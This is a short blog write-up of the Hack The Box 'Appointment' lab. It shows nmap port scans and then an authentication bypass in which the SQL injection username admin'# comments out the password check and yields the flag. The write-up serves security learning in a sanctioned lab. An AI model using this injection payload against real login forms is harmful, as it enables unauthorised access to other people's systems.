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Appointment: Use SQL-Injection to pwn the machine

posted on 14.5.2023 by Below Surface in "Hack The Box"

FYI, because I found it really hard to figure out, the exact 2021 OWASP Top 10 classification is: "A03:2021-Injection".

Firstly, let's check the machine for open ports (exchange ip with the actual ip address):

nmap -v -Pn ip

The important part of the result is:

80/tcp open  http

We can gather more information:

nmap -sC -sV ip

Will output this:

80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Login

Now, copy the ip address of the Hack the Box machine and open it with any web browser. A login page appears. The login is prone to SQL Injection, so we can try to login with a default credential like "admin". But we will add a single quotation mark and a # symbol, which will turn everything behind it into a comment (in our case the password part).


Username: admin'#

Password: anything

Then hit login and you are presented with the flag!


hack the box
structured query language
sql injection


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